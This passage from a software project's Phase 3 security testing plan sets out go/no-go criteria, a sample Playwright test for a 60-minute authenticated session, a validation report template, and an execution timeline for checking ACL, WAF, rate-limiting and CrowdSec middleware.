- API endpoints limited appropriately
- Headers indicate limit status
- Counters reset correctly
CrowdSec mitigating threats
- Blacklisted IPs blocked
- Bot patterns detected
- Decisions properly cached
- Legitimate traffic allowed

✅ Logging & Monitoring

All security events logged
- Failed auth attempts logged
- Access denied events recorded
- Attack attempts logged
- Rate limit violations recorded
Logs accessible and parseable
- Caddy logs complete
- Application logs complete
- Security logs separated
- All logs timestamp accurate

✅ Configuration Verified

All security modules enabled and active
- Cerberus ACL policies loaded
- Coraza WAF rules active
- Rate limiting configured
- CrowdSec decisions synced
Test environment matches production
- Same security module versions
- Same middleware configuration
- Same rate limiting rules
- Same data access patterns

Phase 3 Fail Criteria (ANY = FAIL)

❌ Test Failures

Any security test fails (indicates bypass or misconfiguration)
- Core Security test fails → Session instability, token issue
- Cerberus test fails → ACL bypass, permission leakage
- WAF test fails → Attack not blocked (CRITICAL)
- Rate Limit test fails → Abuse vulnerability
- CrowdSec test fails → DDoS vulnerability
Pass rate < 100% for any suite (0 tolerance for security tests)

❌ Session Instability

401 errors during 60-minute session
- Indicates token refresh failure or validation issue
403 errors indicating role change (unexpected)
- Indicates permission revocation during session
Session timeout < 60 minutes
- Indicates configuration error

❌ Middleware Bypass

Unauthorized access allowed (ACL bypass)
- User accessing admin endpoint
- Guest modifying data
- Permission escalation successful
Malicious request not blocked (WAF bypass)
- SQL injection executes
- XSS script runs
- CSRF validates without token
Rate limit not enforced (abuse vulnerability)
- Unlimited requests after threshold
- Rate limit headers missing/incorrect
Blacklisted IP not blocked (CrowdSec bypass)
- Blacklisted IP accesses API
- Bot pattern not detected

❌ Data Isolation Failure

Data leakage between user roles
- User sees other user's data
- Guest sees admin-only metrics
- Cross-role data visible in API response
Permission inheritance broken
- Parent resource permission not enforcing children
- Cascading permissions not applied

❌ Security Configuration Issues

Security modules not enabled
- Cerberus ACL not active
- Coraza WAF not active
- Rate Limiting not active
- CrowdSec not synced
Logs not being captured
- Security events not logged
- Attack attempts not recorded
- Cannot trace security decisions
Environment not ready
- Test users not properly seeded
- Credentials not configured
- Emergency token not validated

Phase 3 Go/No-Go Decision Logic

Total Tests: 79
Passing Tests: ?
Test Pass Rate: ?/79 = ?%

IF (Pass Rate == 100%) AND (60-min session succeeds) THEN
  RESULT: ✅ GO → Proceed to Phase 4

  ACTIONS:
  1. Document all test results
  2. Archive all logs and reports
  3. Create Phase 3 Validation Report (see Section 14)
  4. Notify Security Team + Stakeholders
  5. Schedule Phase 4 (UAT/Integration)
  6. Prepare for production release

ELSE IF (Pass Rate >= 95%) AND (critical tests pass) THEN
  RESULT: ⚠️ CONDITIONAL PASS → Phase 3 with caveats

  CAVEATS:
  1. Non-critical test failures documented
  2. Risk assessment completed
  3. Security Team approval required
  4. May proceed to Phase 4 with known issues
  5. Remediation planned for post-release

  REQUIRED FOR CONDITIONAL PASS:
  - 0 x critical security test failures
  - 60-minute session test passes
  - All ACL/WAF/CrowdSec tests pass
  - Only non-critical rate limiting or logging issues

ELSE (Pass Rate < 95%)
  RESULT: ❌ FAIL → Stop and remediate

  ACTIONS:
  1. Document all failures with details
  2. Create GitHub issues for each failure
  3. Notify Security Team (critical issues)
  4. Debug and identify root causes
  5. Fix issues or update tests
  6. Rerun failed suites
  7. Do not proceed to Phase 4 until PASS achieved

  ESCALATION (if unresolved):
  - Contact Security Lead
  - Contact Engineering Lead
  - Schedule design review if architecture issue
  - Consider alternative implementation

Decision Matrix

Scenario	Pass Rate	Session OK?	Critical OK?	Decision	Action
Ideal	100%	✅	✅	✅ GO	Phase 4 ready
Good	100%	✅	✅	✅ GO	Phase 4 ready
Acceptable	98-99%	✅	✅	⚠️ CONDITIONAL	Document caveats
At-Risk	95-97%	✅	⚠️	❌ FAIL	Remediate warnings
Blocked	<95%	❌	❌	❌ FAIL	Escalate + remediate

13. Detailed Test Specifications

Test Spec Template

Each test includes detailed step-by-step execution with expected outcomes.

Test: 60-Minute Long-Running Session with Token Refresh

File: tests/phase3/security-enforcement.spec.ts Priority: P0 - CRITICAL Risk: HIGH (blocks Phase 4) Duration: 60+ minutes Slow Test Marker: Yes

test.describe('Phase 3: Security Enforcement', () => {
  test('Long-running E2E session (60+ min) with auto token refresh', {
    slow: true,
    timeout: '70m'  // Allow 70 minutes with 10-min buffer
  }, async ({ page }) => {

    /**
     * TEST OBJECTIVE:
     * Verify user session remains active for 60+ minutes with automatic
     * token refresh without generating 401 Unauthorized errors.
     *
     * ENTRY CRITERIA:
     * - Admin user account exists and is active
     * - Token refresh endpoint operational
     * - Application logging configured
     *
     * SUCCESS CRITERIA:
     * - 0 x 401 errors during 60-minute session
     * - Token refresh occurs >= 3 times (every ~18 min)
     * - All API calls return 200/201/204 (success)
     * - Session survives page reloads and navigation
     */

    const startTime = Date.now()
    const SESSION_DURATION = 60 * 60 * 1000  // 60 minutes
    const SESSION_WARNING_TIME = 65 * 60 * 1000  // 65 minutes (abort if hit)
    let tokenRefreshCount = 0
    let apiCallCount = 0
    let errorCount = 0

    // [STEP 1: LOGIN]
    console.log('[00:00] STEP 1: Login as admin user')
    await page.goto('/login')
    await page.fill('input[name="email"]', 'admin@test.local')
    await page.fill('input[name="password"]', 'AdminPass123!')
    await page.click('button[type="submit"]')

    // Wait for dashboard to load (indicates successful auth)
    await page.waitForSelector('[data-testid="dashboard"]', { timeout: 30000 })
    await expect(page).toHaveURL(/\/dashboard/)

    // Extract initial token
    const initialToken = await page.evaluate(() =>
      localStorage.getItem('access_token')
    )
    expect(initialToken).toBeTruthy()
    console.log('[00:05] ✓ Login successful, token acquired')

    // [STEP 2-6: 60-MINUTE SESSION LOOP]
    let lastRefreshTime = Date.now()

    while (Date.now() - startTime < SESSION_DURATION) {
      const elapsedMinutes = Math.round((Date.now() - startTime) / 60000)

      // [Every 10 minutes: API call with auth check]
      if ((Date.now() - startTime) % (10 * 60 * 1000) < 1000) {
        console.log(`[${elapsedMinutes}:00] Making API call: GET /api/v1/users`)

        const response = await page.request.get('/api/v1/users', {
          headers: {
            'Authorization': `Bearer ${
              // Get latest token from localStorage
              await page.evaluate(() => localStorage.getItem('access_token'))
            }`
          }
        })

        apiCallCount++

        if (response.status() === 200) {
          console.log(`[${elapsedMinutes}:00] ✓ API call successful (200)`)
        } else if (response.status() === 401) {
          errorCount++
          console.error(`[${elapsedMinutes}:00] ❌ CRITICAL: Received 401 Unauthorized`)
          // Continue to verify if auto-refresh happens
        } else {
          console.warn(`[${elapsedMinutes}:00] Unexpected status: ${response.status()}`)
        }
      }

      // [Every 15 minutes: UI navigation]
      if ((Date.now() - startTime) % (15 * 60 * 1000) < 1000 && elapsedMinutes > 0) {
        console.log(`[${elapsedMinutes}:00] Navigating UI...`)
        const pagesToVisit = ['/dashboard', '/settings', '/proxy-hosts']
        for (const urlPath of pagesToVisit) {
          await page.goto(urlPath)
          await page.waitForLoadState('networkidle')
          console.log(`[${elapsedMinutes}:00] ✓ ${urlPath} loaded`)
        }
      }

      // [Check token refresh (every 18+ minutes)]
      const currentToken = await page.evaluate(() =>
        localStorage.getItem('access_token')
      )
      if (currentToken !== initialToken &&
          Date.now() - lastRefreshTime > 18 * 60 * 1000) {
        tokenRefreshCount++
        lastRefreshTime = Date.now()
        console.log(`[${elapsedMinutes}:00] ✓ Token refresh detected (refresh #${tokenRefreshCount})`)
      }

      // [Safety: abort if session time exceeded]
      if (Date.now() - startTime > SESSION_WARNING_TIME) {
        console.warn('[70:00] WARNING: Session time exceeded 65 minutes, aborting')
        break
      }

      // Yield to browser (prevent test hang)
      await page.waitForTimeout(1000)
    }

    // [STEP 7: LOGOUT]
    console.log(`[${Math.round((Date.now() - startTime) / 60000)}:00] STEP 7: Logout`)
    await page.goto('/logout')
    await page.waitForURL(/\/login/)
    console.log('✓ Logged out successfully')

    // [STEP 8: VERIFY TOKEN INVALIDATED]
    console.log('STEP 8: Verify token invalidated')
    const logoutToken = await page.evaluate(() =>
      localStorage.getItem('access_token')
    )
    expect(logoutToken).toBeNull()  // Should be cleared
    console.log('✓ Token cleared after logout')

    // [STEP 9: VERIFY CANNOT REUSE OLD TOKEN]
    console.log('STEP 9: Verify cannot reuse old token')
    const reuseResponse = await page.request.get('/api/v1/users', {
      headers: {
        'Authorization': `Bearer ${initialToken}`
      }
    })
    expect(reuseResponse.status()).toBe(401)  // Old token should fail
    console.log('✓ Old token properly invalidated')

    // [RESULTS & ASSERTIONS]
    console.log('\n=== SESSION TEST RESULTS ===')
    console.log(`Duration: ${Math.round((Date.now() - startTime) / 60000)} minutes`)
    console.log(`API Calls: ${apiCallCount}`)
    console.log(`Errors (401): ${errorCount}`)
    console.log(`Token Refreshes: ${tokenRefreshCount}`)
    console.log('========================\n')

    // Assertions (would fail test if not met)
    expect(errorCount).toBe(0)  // CRITICAL: No 401 errors
    expect(tokenRefreshCount).toBeGreaterThanOrEqual(3)  // At least 3 refreshes in 60 min
    expect(apiCallCount).toBeGreaterThan(0)  // At least some API calls made
  })
})

Template for Other Tests

Each test follows this structure:

test('descriptive test name', {
  slow: true,  // Add if test is inherently slow
  timeout: 'XXs'  // Specify timeout if not standard
}, async ({ page }) => {
  // [STEP 1: Setup]
  // [STEP 2: Execute]
  // [STEP 3: Verify]
  // [ASSERTIONS: expect() calls]
})

See previous sections for detailed test implementations across all 5 test suites.

14. Phase 3 Validation Report Template

Report Location: `/projects/Charon/docs/reports/PHASE_3_SECURITY_VALIDATION.md`

# Phase 3: E2E Security Testing - Validation Report

**Report Date:** [Date filled by QA]
**Execution Duration:** [Test execution time]
**Total Tests Executed:** [Count]
**Overall Pass Rate:** [X/Y = Z%]

---

## Executive Summary

[Summary of all middleware validations and overall findings]

This report documents the completion of Phase 3: E2E Security Testing, verifying that all security middleware components (Cerberus ACL, Coraza WAF, Rate Limiting, CrowdSec) properly enforce their intended security policies during extended test sessions.

### Key Findings:
- **Cerberus ACL:** [Enforcing / Has Issues / Failed]
- **Coraza WAF:** [Blocking / Has Bypasses / Failed]
- **Rate Limiting:** [Enforcing / Has Gaps / Failed]
- **CrowdSec:** [Effective / Has Blindspots / Failed]
- **Session Stability:** [60+ min successful / Issues found]

---

## Test Execution Summary

### Test Suite Results

| Module | File | Tests | Passed | Failed | Pass Rate | Status |
|--------|------|-------|--------|--------|-----------|--------|
| Core Security | security-enforcement.spec.ts | 11 | ? | ? | ?% | ⏳ |
| Cerberus ACL | cerberus-acl.spec.ts | 25 | ? | ? | ?% | ⏳ |
| Coraza WAF | coraza-waf.spec.ts | 21 | ? | ? | ?% | ⏳ |
| Rate Limiting | rate-limiting.spec.ts | 12 | ? | ? | ?% | ⏳ |
| CrowdSec | crowdsec-integration.spec.ts | 10 | ? | ? | ?% | ⏳ |
| **TOTAL** | | **79** | **?** | **?** | **?%** | **?** |

### Execution Timeline
- Start Time: [Time]
- End Time: [Time]
- Total Duration: [Hours:Minutes]
- Environment: Docker container (charon-e2e)

---

## Detailed Test Results

### [Test Suite Name]: [Pass/Fail]

#### Test Results Detail

[Detailed results from HTML report]


#### Failed Tests (if any)

Test Name: [Test] Error: [Error message] Root Cause: [Identified cause] Remediation: [Action taken] Re-run Result: [Pass/Fail]


#### Key Observations
- [Observation 1]
- [Observation 2]
- [Observation 3]

---

## Security Audit Results

### Middleware Enforcement Verification

#### Cerberus ACL Module
- **Status:** ✅ Enforcing / ⚠️ Partially Enforcing / ❌ Not Enforcing
- **Findings:**
  - Admin access properly controlled
  - User restrictions enforced
  - Guest permissions respected
  - Cross-user data isolation verified
- **Issues Found:** [List any issues or "None"]
- **Recommendation:** [Proceed / Remediate before proceeding]

#### Coraza WAF Module
- **Status:** ✅ Blocking / ⚠️ Partial Blocking / ❌ Bypass Detected
- **Findings:**
  - SQL injection attempts blocked
  - XSS payloads rejected
  - CSRF validation active
  - Malformed requests handled
- **Issues Found:** [List any bypasses or "None detected"]
- **Recommendation:** [Proceed / Update rules]

#### Rate Limiting Module
- **Status:** ✅ Enforcing / ⚠️ Inconsistent / ❌ Not Enforcing
- **Findings:**
  - Login throttling: [Threshold verified]
  - API rate limits: [Applied correctly]
  - Headers: [Present/Missing/Incorrect]
  - Reset behavior: [Verified/Issue found]
- **Issues Found:** [Gaps or problems]
- **Recommendation:** [Proceed / Tune thresholds]

#### CrowdSec Integration
- **Status:** ✅ Effective / ⚠️ Limited / ❌ Ineffective
- **Findings:**
  - Blacklist enforcement: [Working]
  - Bot detection: [Active/Inactive]
  - Decision caching: [Functional/Issue]
  - Whitelist bypass: [Working/Issue]
- **Issues Found:** [Any issues or "None"]
- **Recommendation:** [Proceed / Review config]

### Security Event Logging
- **Events Logged:** [Count]
- **Log Coverage:** [Percentage of events captured]
- **Issues:** [Any missing logs or "All captured"]

---

## Performance Metrics

### Session Stability
- **60-Minute Test Duration:** [Passed/Failed]
- **401 Errors:** [Count - should be 0]
- **403 Errors:** [Count - should be 0]
- **Token Refreshes:** [Count - should be 3+]
- **API Call Success Rate:** [X/Y = Z%]
- **UI Responsiveness:** [Good/Degraded/Poor]

### Test Execution Performance
- **Average Test Duration:** [Seconds]
- **Slowest Test:** [Name] ([Seconds])
- **Resource Usage:** CPU [%], Memory [MB]

---

## Issues & Resolutions

### Critical Issues (Block Phase 4)
| Issue | Severity | Status | Resolution |
|-------|----------|--------|-----------|
| [Issue 1] | CRITICAL | [Fixed/Pending] | [Resolution] |

### High Priority Issues (Address in Phase 4)
| Issue | Severity | Status | Resolution |
|-------|----------|--------|-----------|
| [Issue 1] | HIGH | [Fixed/Pending] | [Resolution] |

### Low Priority Issues (Backlog)
| Issue | Severity | Status | Resolution |
|-------|----------|--------|-----------|
| [Issue 1] | LOW | [Fixed/Pending] | [Resolution] |

### Issue Resolution Timeline
- [Date]: Issue X identified
- [Date]: Root cause analysis completed
- [Date]: Fix implemented
- [Date]: Re-test passed

---

## Go/No-Go Assessment

### Phase 3 Success Criteria Checklist

- [ ] Core Security tests: 100% pass rate (11/11)
- [ ] Cerberus ACL tests: 100% pass rate (25/25)
- [ ] Coraza WAF tests: 100% pass rate (21/21)
- [ ] Rate Limiting tests: 100% pass rate (12/12)
- [ ] CrowdSec tests: 100% pass rate (10/10)
- [ ] 60-minute session: Completed successfully
- [ ] Zero 401 errors during session
- [ ] Zero critical security bypasses
- [ ] All middleware properly logging
- [ ] Environment ready for Phase 4

### Final Verdict

**Phase 3 Result:** ✅ PASS / ⚠️ CONDITIONAL PASS / ❌ FAIL

**Rationale:**
[Explanation of why test passed/failed and any caveats]

### Recommendation for Phase 4

**Status:** ✅ Ready for Phase 4 / ⚠️ Proceed with Caveats / ❌ Do Not Proceed

**Next Steps:**
1. [Action 1 - Schedule Phase 4]
2. [Action 2 - notify stakeholders]
3. [Action 3 - prepare for UAT]

---

## Appendices

### A. Detailed Test Logs
- See: `logs/phase3-core-execution.log`
- See: `logs/phase3-acl-execution.log`
- See: `logs/phase3-waf-execution.log`
- See: `logs/phase3-ratelimit-execution.log`
- See: `logs/phase3-crowdsec-execution.log`

### B. Security Event Audit
- Captured from: `/var/log/caddy/access.log`
- Captured from: `/var/log/charon/security.log`
- Events analyzed: [Count]

### C. HTML Test Reports
- `docs/reports/phase3/report-core.html`
- `docs/reports/phase3/report-acl.html`
- `docs/reports/phase3/report-waf.html`
- `docs/reports/phase3/report-ratelimit.html`
- `docs/reports/phase3/report-crowdsec.html`

### D. Environment Configuration

Docker Image: [SHA] Charon Version: [Version] Go Version: [Version] Caddy Version: [Version] Cerberus Version: [Version] Coraza Version: [Version] CrowdSec Version: [Version] Test Database: [Location] Backup Location: [Location]


### E. Known Issues & Future Work
- [Issue 1] - Status: [Backlog/In Progress/Resolved]
- [Issue 2] - Status: [Backlog/In Progress/Resolved]

---

## Sign-Off

| Role | Name | Date | Signature |
|------|------|------|-----------|
| QA Lead | [Name] | [Date] | [Signature] |
| Security Lead | [Name] | [Date] | [Signature] |
| Engineering Lead | [Name] | [Date] | [Signature] |

---

*Report Generated: [Date] at [Time] UTC*
*Phase 3 Execution Duration: [Days/Hours]*

15. Phase 3 Execution Timeline

Phase	Task	Duration	Owner	Dependencies	Status
Pre-Test	Environment setup & verification	10 min	QA	Docker ready	⏳
	Pre-execution checklist	5 min	QA	All infra ready	⏳
Phase 1	Core Security tests execution	60+ min	Playwright Dev	Environment ready	⏳
	Monitor token refresh & session	5 min	QA	Tests running	⏳
Phase 2	Cerberus ACL tests execution	10 min	Playwright Dev	Phase 1 complete	⏳
	Analyze ACL logs & results	5 min	QA	Tests complete	⏳
Phase 3	Coraza WAF tests execution	10 min	Playwright Dev	Phase 2 complete	⏳
	Review attack blocking logs	5 min	QA	Tests complete	⏳
Phase 4	Rate Limiting tests execution	10 min	Playwright Dev	Phase 3 complete	⏳
	(Serial: --workers=1)				⏳
	Analyze rate limit enforcement	5 min	QA	Tests complete	⏳
Phase 5	CrowdSec tests execution	10 min	Playwright Dev	Phase 4 complete	⏳
	Review CrowdSec decisions	5 min	QA	Tests complete	⏳
Post-Test	Log collection & analysis	20 min	QA	All tests done	⏳
	Generate validation report	15 min	QA	All logs collected	⏳
	Supervisor review	30 min	Supervisor	Report ready	⏳
	Go/No-Go decision	30 min	Leadership	Review complete	⏳
TOTAL		~180 min	—	—	⏳

Total Estimated Time: 2-3 hours (accounts for serialization requirements)

Parallel Execution Opportunity (If Needed)

If Phase 3 timeline is compressed:

Run Cerberus ACL (Phase 2) in parallel with Core Security (Phase 1) --workers=4
Run Coraza WAF (Phase 3) after Phase 1 completes
Run Rate Limiting (Phase 4) serially after Phase 3
Run CrowdSec (Phase 5) in parallel with Rate Limiting --workers=4

Fastest Sequential Path (66 min):

Core Security: 60+ min
WAF + ACL in parallel: 10 min (share --workers=2)
Rate Limit: 10 min (serial)
CrowdSec: 10 min

This reduces total to ~90 minutes but increases complexity of troubleshooting.

Known Constraints & Limitations

Test Environment Constraints

Single Container Instance: All tests run in one Docker container (not multi-instance)
- Implication: CrowdSec decisions list is local, not distributed
- Workaround: Tests assume single-instance deployment
SQLite Database: Not optimized for concurrent connections
- Implication: Heavy parallel test loads may lock database
- Workaround: Run suites serially
Memory Limits: Docker container has limited memory
- Implication: Long-running tests (60-min) consume memory
- Monitor: docker stats charon-e2e during execution

WAF Configuration Limitations

Paranoia Level 2: Balanced security vs. usability
- False Negatives: Some sophisticated attacks may bypass
- False Positives: Some legitimate requests may block
- Recommendation: Tune for production use
CRS Version: OWASP ModSecurity Core Rule Set version dependent
- Recommendation: Verify CRS version matches deployment

Rate Limiting Constraints

In-Memory Storage: Rate limits reset on container restart
- Implication: Tests assume persistent container
- Workaround: Don't restart container between suites
Single Container: Counts are not synchronized across instances
- Recommendation: Verify distributed rate limiting before scaling

CrowdSec Limitations

Community Decisions: May have false positives from community
- Solution: Custom rules or whitelist trusted IPs
Cache Update Delay: Decisions cached for ~30 seconds
- Implication: Decision updates not instant
- Mitigation: Add waits for decision propagation

Approval & Sign-Off

Plan Development Approval

Role	Approval	Date	Notes
Principal Architect	⏳ Pending	—	Plan author
Security Lead	⏳ Pending	—	Security validation
Engineering Lead	⏳ Pending	—	Technical feasibility

Execution Authority

Role	Authorization	Date	Signature
QA Manager	⏳ Pending	—	Test execution approval
Product Manager	⏳ Pending	—	Go/No-Go authority

Document History

Version	Date	Author	Changes
1.0	Feb 10, 2026	Principal Architect	Initial comprehensive plan
—	—	—	—

END OF PHASE 3 SECURITY TESTING PLAN

Next Document: PHASE_3_SECURITY_VALIDATION.md (created during/after execution)

Quick Reference

Pre-Test Execution Checklist

# Run this before starting Phase 3 tests
.github/skills/scripts/skill-runner.sh docker-rebuild-e2e
# Verify: Health check passes, all modules enabled
# Check: Test users exist, emergency token valid
# Confirm: All logs accessible

Execute Phase 3 Tests

# Run all Phase 3 suites (with proper serialization)
npx playwright test tests/phase3/ \
  --project=firefox \
  --reporter=html \
  --grep="Phase3" \
  --output-folder="test-results/phase3"

Analyze Results

# View HTML report
npx playwright show-report test-results/phase3/

# Check pass rate
grep -c "passed" test-results/phase3/index.html

# Extract any failures
grep "failed" test-results/phase3/index.html

Generate Validation Report

# After all tests complete
cp -r test-results/phase3-* docs/reports/phase3/
# Manually fill: /projects/Charon/docs/reports/PHASE_3_SECURITY_VALIDATION.md

Ready for Supervisor review. Plan location: /projects/Charon/docs/plans/PHASE_3_SECURITY_TESTING_PLAN.md

98 KiB Raw Blame History

Phase 3: E2E Security Testing Plan

1. Executive Summary

Objective

Scope

Duration & Resources

Risk & Success Criteria

Success Criteria (PASS)

Failure Criteria (FAIL)

Entry Criteria

Exit Criteria

2. Test Environment Setup

Pre-Execution Verification Checklist

Container & Infrastructure Readiness

Security Module Configuration

Application Configuration

Test User Configuration

Caddy Configuration Verification

Log Access & Monitoring

3. Cerberus ACL Testing (Access Control)

Overview

Test Strategy

Admin Access Enforcement

User Access Restrictions

Guest User Capabilities

Role Transition Testing

Required Tests

API Endpoint Tests

UI Navigation Tests

Cross-Role Isolation Tests

Success Criteria

Phase 3A: Cerberus ACL Validation

4. Coraza WAF Testing (Web Application Firewall)

Overview

Test Strategy

SQL Injection Detection & Blocking

Cross-Site Scripting (XSS) Prevention

CSRF Token Validation

Malformed Request Handling

WAF Rule Enforcement

Required Tests

SQL Injection Tests

XSS Payload Tests

CSRF & State-Changing Operations

Malformed Request Tests

Rate Limit + WAF Interaction

Success Criteria

Phase 3B: Coraza WAF Validation

5. Rate Limiting Testing (Abuse Prevention)

Overview

Rate Limiting Configuration Reference

Global Rate Limit Configuration (Caddy-level)

Test Configuration Values

Test Strategy

Login Rate Limiting

API Endpoint Rate Limiting

Resource-Intensive Operation Limiting

Rate Limit Bypass Prevention

Required Tests

Login Brute Force Prevention

API Endpoint Abuse Prevention

Resource Creation Limiting

Multi-User Rate Limit Isolation

Rate Limit Header Validation

Success Criteria

Phase 3C: Rate Limiting Validation

6. CrowdSec Integration Testing (DDoS/Bot Mitigation)

Overview

CrowdSec Architecture

Decision List

Bouncer Integration

Test Strategy

Blacklisted IP Blocking

Bot Pattern Detection

Decision Cache Behavior

Legitimate Traffic Bypass

Required Tests

Blacklist Enforcement

Bot Detection Patterns

Decision Cache Validation

98 KiB

Raw Blame History